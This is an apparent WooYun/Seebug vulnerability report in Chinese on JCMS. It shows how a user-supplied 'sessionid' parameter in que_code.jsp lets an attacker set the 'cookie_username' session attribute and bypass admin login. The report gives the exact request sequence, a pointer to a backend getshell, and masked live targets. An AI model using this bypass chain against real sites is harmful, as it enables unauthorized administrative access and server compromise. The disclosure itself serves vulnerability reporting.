### 简要描述：
### 详细说明：
jcms系统session重置导致getshell
在/jcms/jcms_files/jcms1/web1/site/module/oss/que_code.jsp
```
<%@page import="jcms.util.ValidateCode"%>
<%
String sessionId = request.getParameter("sessionid");
out.clear();
ValidateCode code1 = new ValidateCode();
if(sessionId==null)
sessionId = "";
code1.setSessionName(sessionId);
code1.getValidateCode(request,response);
%>
```
String sessionId = request.getParameter("sessionid");
直接通过sessionid获取值
code1.setSessionName(sessionId);
然后又直接设置session
而在我们的jcms中的setup(后台管理制作端)中又只判断其中cookie_username是否为空
不为空即就登录
可参考如下：
http://**.**.**.**/bugs/wooyun-2015-0107138
```
String strUser = (String)sessions.getAttribute("cookie_username");
// 判断strUser值 是否为空？
if( strUser == null || strUser.trim().length() == 0 ) {
out.println('请先登录!')
return;
} //如果为空，则未登录，直接返回
```
利用过程如下：
1、**.**.**.**/jcms/setup/opr_licenceinfo.jsp（如果后台未更改或者未设置权限提交下）
你会发现需要登录
2、**.**.**.**/jcms/jcms_files/jcms1/web1/site/module/oss/que_code.jsp?sessionid=cookie_username
3、再次访问**.**.**.**/jcms/setup/opr_licenceinfo.jsp即可
提供5个测试案例
http://**.**.**.**
http://**.**.**.**
http://**.**.**.**
**.**.**.**
**.**.**.**:8080
**.**.**.**
选取其中做演示
**.**.**.**
[<img src="https://images.seebug.org/upload/201602/231531496da178760305f0c8a33fe5145e9f0127.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/231531496da178760305f0c8a33fe5145e9f0127.png)
[<img src="https://images.seebug.org/upload/201602/23153507f8216d80aa61765c6a6f71e05ac7bf62.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/23153507f8216d80aa61765c6a6f71e05ac7bf62.png)
[<img src="https://images.seebug.org/upload/201602/23153541a821d461d90b85cd939fe7a6ba6c7d57.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/23153541a821d461d90b85cd939fe7a6ba6c7d57.png)
后台getshell参考http://**.**.**.**/bugs/wooyun-2014-061360
[<img src="https://images.seebug.org/upload/201602/2315412224c7f0f614b023ff5f3d4748dc1817b2.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/2315412224c7f0f614b023ff5f3d4748dc1817b2.png)
[<img src="https://images.seebug.org/upload/201602/231547014477ef27d60bd13a8e1d2d8fa93abb81.png" alt="2-1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/231547014477ef27d60bd13a8e1d2d8fa93abb81.png)
[<img src="https://images.seebug.org/upload/201602/231547170e7aed4dc9628d85bda2bca2a3f8c79a.png" alt="2-2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/231547170e7aed4dc9628d85bda2bca2a3f8c79a.png)
[<img src="https://images.seebug.org/upload/201602/2315473245d3e35efc607b0d52414f06547790f7.png" alt="2-3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/2315473245d3e35efc607b0d52414f06547790f7.png)
[<img src="https://images.seebug.org/upload/201602/23154822f15fa669e728319614be7f8c1197e2b6.png" alt="2-4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/23154822f15fa669e728319614be7f8c1197e2b6.png)
就不一一shell了
http://**.**.**.**/jcms/setup/opr_licenceinfo.jsp
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201602/23153507f8216d80aa61765c6a6f71e05ac7bf62.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/23153507f8216d80aa61765c6a6f71e05ac7bf62.png)
[<img src="https://images.seebug.org/upload/201602/23153541a821d461d90b85cd939fe7a6ba6c7d57.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/23153541a821d461d90b85cd939fe7a6ba6c7d57.png)
后台getshell参考http://**.**.**.**/bugs/wooyun-2014-061360
[<img src="https://images.seebug.org/upload/201602/2315412224c7f0f614b023ff5f3d4748dc1817b2.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/2315412224c7f0f614b023ff5f3d4748dc1817b2.png)
[<img src="https://images.seebug.org/upload/201602/231547014477ef27d60bd13a8e1d2d8fa93abb81.png" alt="2-1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/231547014477ef27d60bd13a8e1d2d8fa93abb81.png)
[<img src="https://images.seebug.org/upload/201602/231547170e7aed4dc9628d85bda2bca2a3f8c79a.png" alt="2-2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/231547170e7aed4dc9628d85bda2bca2a3f8c79a.png)
[<img src="https://images.seebug.org/upload/201602/2315473245d3e35efc607b0d52414f06547790f7.png" alt="2-3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/2315473245d3e35efc607b0d52414f06547790f7.png)
[<img src="https://images.seebug.org/upload/201602/23154822f15fa669e728319614be7f8c1197e2b6.png" alt="2-4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/23154822f15fa669e728319614be7f8c1197e2b6.png)
就不一一shell了
京公网安备 11010502034610号
暂无评论